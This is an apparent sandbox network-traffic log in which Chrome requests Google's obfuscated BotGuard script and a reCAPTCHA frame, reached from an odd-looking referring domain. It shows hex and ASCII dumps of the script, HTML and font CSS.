2025-01-09 10:27:13 UTC	487	OUT	GET /js/bg/GaYUpI3TM2ZeJrJuY6shdNLJBEVQZd83XqI1ZKo9ZSY.js HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 10:27:14 UTC	812	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18920 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 07 Jan 2025 09:01:06 GMT Expires: Wed, 07 Jan 2026 09:01:06 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:00:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 177967 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-09 10:27:14 UTC	578	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 50 3d 66 75 6e 63 74 69 6f 6e 28 48 29 7b 72 65 74 75 72 6e 20 48 7d 2c 75 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 29 7b 69 66 28 28 72 3d 28 48 3d 6e 75 6c 6c 2c 75 29 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 21 72 29 7c 7c 21 72 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 48 3b 74 72 79 7b 48 3d 72 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var P=function(H){return H},u=this\|\|self,x=function(H,r){if((r=(H=null,u).trustedTypes,!r)\|\|!r.createPolicy)return H;try{H=r.createPolicy("bg",{createHTM
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 67 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 2c 79 2c 75 2c 47 2c 44 29 7b 69 66 28 21 63 2e 47 43 26 26 28 75 3d 76 6f 69 64 20 30 2c 72 26 26 72 5b 30 5d 3d 3d 3d 43 26 26 28 48 3d 72 5b 31 5d 2c 75 3d 72 5b 32 5d 2c 72 3d 76 6f 69 64 20 30 29 2c 79 3d 6b 28 63 2c 38 34 29 2c 79 2e 6c 65 6e 67 74 68 3d 3d 30 26 26 28 78 3d 6b 28 63 2c 39 30 29 3e 3e 33 2c 79 2e 70 75 73 68 28 48 2c 78 3e 3e 38 26 32 35 35 2c 78 26 32 35 35 29 2c 75 21 3d 76 6f 69 64 20 30 26 26 79 2e 70 75 73 68 28 75 26 32 35 35 29 29 2c 48 3d 22 22 2c 72 26 26 28 72 2e 6d 65 73 73 61 67 65 26 26 28 48 2b 3d 72 2e 6d 65 73 73 61 67 65 29 Data Ascii: DX-License-Identifier: Apache-2.0','*/','var g=function(H,r,c,x,y,u,G,D){if(!c.GC&&(u=void 0,r&&r[0]===C&&(H=r[1],u=r[2],r=void 0),y=k(c,84),y.length==0&&(x=k(c,90)>>3,y.push(H,x>>8&255,x&255),u!=void 0&&y.push(u&255)),H="",r&&(r.message&&(H+=r.message)
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 48 2e 63 61 6c 6c 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3b 72 65 74 75 72 6e 20 63 7d 2c 79 68 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 29 7b 72 65 74 75 72 6e 20 6b 28 48 2c 28 76 28 34 36 38 2c 28 78 50 28 48 2c 28 28 78 3d 6b 28 48 2c 34 36 38 29 2c 48 29 2e 75 26 26 78 3c 48 2e 4e 3f 28 76 28 34 36 38 2c 48 2c 48 2e 4e 29 2c 6a 4a 28 48 2c 63 29 29 3a 76 28 34 36 38 2c 48 2c 63 29 2c 72 29 29 2c 48 29 2c 78 29 2c 34 38 29 29 7d 2c 49 3d 66 75 6e 63 74 69 6f 6e 28 48 29 7b 72 65 74 75 72 6e 20 48 2e 56 3f 42 24 28 48 2e 6f 2c 48 29 3a 71 28 74 72 75 65 2c 48 2c 38 29 7d 2c 77 3d 7b 70 61 73 73 69 76 65 3a 74 72 75 65 2c 63 61 70 74 75 Data Ascii: =="function"&&typeof H.call=="undefined")return"object";return c},yh=function(H,r,c,x){return k(H,(v(468,(xP(H,((x=k(H,468),H).u&&x<H.N?(v(468,H,H.N),jJ(H,c)):v(468,H,c),r)),H),x),48))},I=function(H){return H.V?B$(H.o,H):q(true,H,8)},w={passive:true,captu
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 48 5d 7c 7c 28 72 2e 4a 5b 48 5d 3d 6e 6e 28 31 31 38 2c 72 2c 63 2c 48 29 29 3a 72 2e 4a 5b 48 5d 3d 6e 6e 28 31 35 33 2c 72 2c 63 2c 48 29 7d 48 3d 3d 31 35 30 26 26 28 72 2e 48 3d 71 28 66 61 6c 73 65 2c 72 2c 33 32 29 2c 72 2e 76 3d 76 6f 69 64 20 30 29 7d 2c 6e 6e 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 2c 79 2c 75 2c 47 2c 44 29 7b 72 65 74 75 72 6e 28 47 3d 58 5b 28 44 3d 28 79 3d 5a 61 2c 48 26 37 29 2c 63 3d 5b 2d 37 30 2c 2d 36 34 2c 2d 35 31 2c 2d 31 30 30 2c 34 2c 2d 36 35 2c 63 2c 31 34 2c 33 30 2c 38 31 5d 2c 72 29 2e 53 5d 28 72 2e 48 74 29 2c 47 29 5b 72 2e 53 5d 3d 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 44 2b 3d 36 2b 37 2a 48 2c 44 26 3d 28 75 3d 5a 2c 37 29 7d 2c 47 2e 63 6f 6e 63 61 74 3d 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 72 Data Ascii: H]\|\|(r.J[H]=nn(118,r,c,H)):r.J[H]=nn(153,r,c,H)}H==150&&(r.H=q(false,r,32),r.v=void 0)},nn=function(H,r,c,x,y,u,G,D){return(G=X[(D=(y=Za,H&7),c=[-70,-64,-51,-100,4,-65,c,14,30,81],r).S](r.Ht),G)[r.S]=function(Z){D+=6+7*H,D&=(u=Z,7)},G.concat=function(Z){r
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 2c 72 5d 3b 69 66 28 48 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 48 2e 63 72 65 61 74 65 28 29 3b 72 65 74 75 72 6e 20 48 2e 63 72 65 61 74 65 28 72 2a 34 2a 72 2b 2d 36 34 2a 72 2b 36 29 2c 48 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 46 34 3d 66 75 6e 63 74 69 6f 6e 28 48 29 7b 72 65 74 75 72 6e 20 48 7d 2c 66 6e 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 2c 79 29 7b 28 79 3d 6b 28 48 2c 28 79 3d 28 72 26 3d 28 63 3d 72 26 34 2c 33 29 2c 4d 28 48 29 29 2c 78 3d 4d 28 48 29 2c 79 29 29 2c 63 26 26 28 79 3d 69 36 28 22 22 2b 79 29 29 2c 72 29 26 26 6e 28 78 2c 48 2c 64 28 79 2e 6c 65 6e 67 74 68 2c 32 29 29 2c 6e 28 78 2c 48 2c 79 29 7d 2c 41 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 29 7b 48 2e 57 2e 73 70 6c 69 63 65 28 30 2c 30 2c 72 29 7d 2c 69 36 3d Data Ascii: ,r];if(H.value)return H.create();return H.create(r4r+-64*r+6),H.prototype},F4=function(H){return H},fn=function(H,r,c,x,y){(y=k(H,(y=(r&=(c=r&4,3),M(H)),x=M(H),y)),c&&(y=i6(""+y)),r)&&n(x,H,d(y.length,2)),n(x,H,y)},A=function(H,r){H.W.splice(0,0,r)},i6=
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 61 72 74 7c 7c 30 2c 47 26 26 47 2e 6c 65 6e 67 74 68 3d 3d 32 26 26 28 75 2e 73 38 3d 47 5b 30 5d 2c 75 2e 79 45 3d 47 5b 31 5d 29 2c 48 29 74 72 79 7b 75 2e 68 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 48 29 7d 63 61 74 63 68 28 50 29 7b 75 2e 68 3d 7b 7d 7d 65 28 74 72 75 65 2c 21 28 41 28 75 2c 28 41 28 75 2c 28 41 28 75 2c 28 76 28 31 36 37 2c 28 54 28 32 35 39 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 2c 4e 2c 4b 29 7b 76 28 28 4b 3d 6b 28 50 2c 28 42 3d 6b 28 50 2c 28 4e 3d 28 4b 3d 28 42 3d 4d 28 50 29 2c 4d 29 28 50 29 2c 4d 28 50 29 29 2c 42 29 29 2c 4b 29 29 2c 4e 29 2c 50 2c 42 5b 4b 5d 29 7d 2c 28 54 28 28 54 28 34 32 34 2c 28 54 28 34 37 31 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 29 7b 28 50 3d 28 42 3d 4d 28 50 29 2c 6b 28 50 2e 69 2c 42 29 29 2c 50 Data Ascii: art\|\|0,G&&G.length==2&&(u.s8=G[0],u.yE=G[1]),H)try{u.h=JSON.parse(H)}catch(P){u.h={}}e(true,!(A(u,(A(u,(A(u,(v(167,(T(259,function(P,B,N,K){v((K=k(P,(B=k(P,(N=(K=(B=M(P),M)(P),M(P)),B)),K)),N),P,B[K])},(T((T(424,(T(471,function(P,B){(P=(B=M(P),k(P.i,B)),P
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 3d 6b 28 50 2c 53 29 2c 6b 29 28 50 2c 42 29 2c 6b 28 50 2e 69 2c 4b 29 29 2c 4b 21 3d 3d 30 29 26 26 28 42 3d 49 48 28 31 2c 53 2c 50 2c 42 2c 4b 2c 4e 29 2c 4b 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 4e 2c 42 2c 77 29 2c 76 28 31 33 32 2c 50 2c 5b 4b 2c 4e 2c 42 5d 29 29 7d 29 2c 75 29 2c 30 29 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 2c 4e 2c 4b 29 7b 28 4b 3d 28 42 3d 28 4e 3d 28 4b 3d 28 42 3d 4d 28 50 29 2c 4d 28 50 29 29 2c 4d 28 50 29 29 2c 6b 28 50 2c 42 29 29 2c 6b 28 50 2c 4b 29 29 2c 76 29 28 4e 2c 50 2c 2b 28 42 3d 3d 4b 29 29 7d 29 2c 75 29 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 2c 4e 29 7b 76 28 28 4e 3d 28 42 3d 4d 28 50 29 2c 4d 28 50 29 29 2c 4e 29 2c 50 2c 22 22 2b 6b 28 50 2c 42 29 29 7d 29 2c 75 29 2c 66 75 6e 63 74 69 6f Data Ascii: =k(P,S),k)(P,B),k(P.i,K)),K!==0)&&(B=IH(1,S,P,B,K,N),K.addEventListener(N,B,w),v(132,P,[K,N,B]))}),u),0),function(P,B,N,K){(K=(B=(N=(K=(B=M(P),M(P)),M(P)),k(P,B)),k(P,K)),v)(N,P,+(B==K))}),u),function(P,B,N){v((N=(B=M(P),M(P)),N),P,""+k(P,B))}),u),functio
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 2c 50 29 29 2c 76 28 42 2c 50 2c 6b 28 50 2c 4e 29 7c 7c 6b 28 50 2c 4b 29 29 7d 2c 75 29 2c 75 29 29 2c 6c 28 34 29 29 29 2c 75 29 29 2c 76 29 28 34 38 2c 75 2c 7b 7d 29 2c 75 29 2c 5b 5d 29 2c 75 29 2c 5b 5d 29 2c 75 29 29 2c 54 29 28 32 30 33 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 2c 4e 2c 4b 2c 53 2c 45 2c 66 2c 4a 2c 62 2c 61 2c 56 2c 4c 29 7b 66 75 6e 63 74 69 6f 6e 20 46 28 70 2c 59 29 7b 66 6f 72 28 3b 62 3c 70 3b 29 4b 7c 3d 49 28 50 29 3c 3c 62 2c 62 2b 3d 38 3b 72 65 74 75 72 6e 20 4b 3e 3e 3d 28 59 3d 28 62 2d 3d 70 2c 4b 26 28 31 3c 3c 70 29 2d 31 29 2c 70 29 2c 59 7d 66 6f 72 28 56 3d 28 53 3d 45 3d 28 42 3d 28 61 3d 28 28 4b 3d 28 66 3d 4d 28 50 29 2c 62 3d 30 29 2c 46 28 33 29 29 7c 30 29 2b 31 2c 46 29 28 35 29 2c 30 29 2c 5b 5d 29 3b 45 Data Ascii: ,P)),v(B,P,k(P,N)\|\|k(P,K))},u),u)),l(4))),u)),v)(48,u,{}),u),[]),u),[]),u)),T)(203,function(P,B,N,K,S,E,f,J,b,a,V,L){function F(p,Y){for(;b<p;)K\|=I(P)<<b,b+=8;return K>>=(Y=(b-=p,K&(1<<p)-1),p),Y}for(V=(S=E=(B=(a=((K=(f=M(P),b=0),F(3))\|0)+1,F)(5),0),[]);E
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 2e 4a 4c 2e 70 75 73 68 28 78 3c 3d 32 35 34 3f 78 3a 32 35 34 29 29 7d 66 69 6e 61 6c 6c 79 7b 63 2e 4b 3d 66 61 6c 73 65 7d 72 65 74 75 72 6e 20 75 7d 7d 2c 68 57 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 29 7b 72 65 74 75 72 6e 20 72 2e 6c 24 28 66 75 6e 63 74 69 6f 6e 28 78 29 7b 63 3d 78 7d 2c 66 61 6c 73 65 2c 48 29 2c 63 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 29 7b 28 76 28 48 2c 63 2c 72 29 2c 72 29 5b 77 63 5d 3d 32 37 39 36 7d 2c 78 50 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 2c 79 2c 75 29 7b 69 66 28 21 48 2e 49 29 7b 48 2e 50 2b 2b 3b 74 72 79 7b 66 6f 72 28 79 3d 28 78 3d 28 63 3d 48 2e 4e 2c 30 29 2c 76 6f 69 64 20 30 29 3b 2d 2d 72 3b 29 74 72 79 7b 69 66 28 75 3d 76 6f 69 64 20 30 2c 48 2e 56 29 79 3d 42 24 28 Data Ascii: .JL.push(x<=254?x:254))}finally{c.K=false}return u}},hW=function(H,r,c){return r.l$(function(x){c=x},false,H),c},T=function(H,r,c){(v(H,c,r),r)[wc]=2796},xP=function(H,r,c,x,y,u){if(!H.I){H.P++;try{for(y=(x=(c=H.N,0),void 0);--r;)try{if(u=void 0,H.V)y=B$(
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 48 5b 28 72 7c 30 29 2b 31 5d 3c 3c 31 36 7c 48 5b 28 72 7c 30 29 2b 32 5d 3c 3c 38 7c 48 5b 28 72 7c 30 29 2b 33 5d 7d 2c 4a 57 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 29 7b 72 65 74 75 72 6e 28 72 3d 49 28 48 29 2c 72 26 31 32 38 29 26 26 28 72 3d 72 26 31 32 37 7c 49 28 48 29 3c 3c 37 29 2c 72 7d 2c 4c 6e 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 3c 48 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 48 5b 72 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d 7d 2c 52 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 29 7b 66 6f 72 28 63 3d 28 78 3d 28 72 7c 30 29 2d 31 2c 5b 5d 29 3b 78 3e 3d 30 3b 78 2d 2d 29 63 5b 28 72 7c Data Ascii: H[(r\|0)+1]<<16\|H[(r\|0)+2]<<8\|H[(r\|0)+3]},JW=function(H,r){return(r=I(H),r&128)&&(r=r&127\|I(H)<<7),r},Ln=function(H,r){return r=0,function(){return r<H.length?{done:false,value:H[r++]}:{done:true}}},R,d=function(H,r,c,x){for(c=(x=(r\|0)-1,[]);x>=0;x--)c[(r\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	61302	216.58.212.164	443	5504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 10:27:13 UTC	872	OUT	GET /recaptcha/api2/bframe?hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS&k=6Lep6bEqAAAAAJP5JtQMavf7sZc2r_zYev_mtHp5 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://0nline1.w212s.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 10:27:14 UTC	1161	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 09 Jan 2025 10:27:14 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-H43he3QxxUHcyht69Q61QA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-09 10:27:14 UTC	229	IN	Data Raw: 31 65 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 Data Ascii: 1e14<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* c
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 41 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 Data Ascii: yrillic-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A6
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 42 41 2c 20 55 2b 30 32 42 44 2d 30 32 43 35 2c 20 55 2b 30 32 43 37 2d 30 32 43 43 2c 20 55 2b 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+0
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/* greek */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 32 30 30 30 2d 32 30 36 46 2c 20 55 2b 32 30 41 43 2c 20 55 2b 32 31 32 32 2c 20 55 2b 32 31 39 31 2c 20 55 2b 32 31 39 33 2c 20 55 2b 32 32 31 32 2c 20 55 2b 32 32 31 35 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 Data Ascii: format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;}/* cyrillic-ext */@font-face { font-family:
2025-01-09 10:27:14 UTC	1390	IN	Data Raw: 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 43 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 32 2d 30 31 30 33 2c 20 55 2b 30 31 31 30 2d 30 31 31 31 2c 20 55 2b 30 31 32 38 2d 30 31 32 39 2c 20 55 2b 30 31 36 38 2d 30 31 36 39 2c 20 55 2b 30 31 41 30 2d 30 31 41 31 2c 20 55 2b 30 31 41 46 2d 30 31 42 30 2c 20 55 2b 30 33 30 30 2d 30 33 30 31 2c 20 55 2b 30 33 30 33 2d 30 33 30 34 2c 20 55 2b 30 33 30 38 2d 30 33 30 39 2c 20 55 2b 30 33 32 33 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 41 30 2d 31 45 46 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f Data Ascii: m/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;}/* latin-ext */
